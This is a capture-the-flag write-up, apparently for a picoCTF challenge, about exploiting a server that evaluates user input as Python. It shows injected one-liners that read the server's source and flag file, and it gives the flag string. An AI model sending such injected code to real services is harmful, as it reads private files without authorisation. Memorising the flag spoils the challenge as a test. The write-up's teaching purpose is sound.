Investigating the Server#
When we connect, we are prompted to input getRandomNumber
. That works, but what happens if we provide an invalid input?
1
2
3
4
5
6
7
| Try entering "getRandomNumber" without the double quotes...
==> getRandomNumber
4
Try entering "getRandomNumber" without the double quotes...
==> 4
'int' object is not callable
|
Providing invalid input shows what looks like a Python error message. This suggests that user input might not be sanitized properly. Let’s test if we can provide Python input directly:
1
2
3
| Try entering "getRandomNumber" without the double quotes...
==> getRandomNumber(123123)
getRandomNumber() takes 0 positional arguments but 1 was given
|
It turns out we can execute Python code! This means that we can now explore the contents of the Python script running on the server.
So, let’s try printing the contents of the file with this one liner:
1
| print(open(__file__).read())
|
And, that outputs the contents of the entire Python script running on the server!
Investigating the Python File#
Parsing through the output, we see this function:
1
2
3
4
5
6
7
8
9
10
| def win():
# This line will not work locally unless you create your own 'flag.txt' in
# the same directory as this script
flag = open('flag.txt', 'r').read()
#flag = flag[:-1]
flag = flag.strip()
str_flag = ''
for c in flag:
str_flag += str(hex(ord(c))) + ' '
print(str_flag)
|
Now, we know that flag.txt
is being read from the Python script. So, we have two choices:
- Open
flag.txt
using arbitrary Python code - Reverse the encryption provided in the
win()
function
Opening flag.txt Directly#
Remember how we read the contents of the servers Python script? Because we know where flag.txt
is… we can just open the file path directly.
1
| print(open("flag.txt").read())
|
This outputs the flag: picoCTF{4_d14m0nd_1n_7h3_r0ugh_ce4b5d5b}
Reversing the Encryption#
Opening the file directly is too easy! Let’s have some fun.
After executing win()
on the server, we get this returned to us:
1
| 0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x5f 0x64 0x31 0x34 0x6d 0x30 0x6e 0x64 0x5f 0x31 0x6e 0x5f 0x37 0x68 0x33 0x5f 0x72 0x30 0x75 0x67 0x68 0x5f 0x63 0x65 0x34 0x62 0x35 0x64 0x35 0x62 0x7d
|
Remember that win()
function we discovered in the Python file? It converted each character of the flag into the hex representation of the character’s unicode value (ord(c)
):
1
2
3
| ...
for c in flag:
str_flag += str(hex(ord(c))) + ' '
|
We simply just need to reverse the operations provided in the above code snippet.
1
2
3
4
5
6
7
8
9
10
11
12
13
| # list comprehensions are super, super nice to know.
# https://www.programiz.com/python-programming/list-comprehension
# hex string from win() output
starting_flag = "0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x5f 0x64 0x31 0x34 0x6d 0x30 0x6e 0x64 0x5f 0x31 0x6e 0x5f 0x37 0x68 0x33 0x5f 0x72 0x30 0x75 0x67 0x68 0x5f 0x63 0x65 0x34 0x62 0x35 0x64 0x35 0x62 0x7d"
# split the string into individual hex codes
split_flag = starting_flag.split(" ")
# convert each hex code back its original character
transformed_flag = "".join(chr(int(word, 16)) for word in split_flag)
print(transformed_flag) # picoCTF{4_d14m0nd_1n_7h3_r0ugh_ce4b5d5b}
|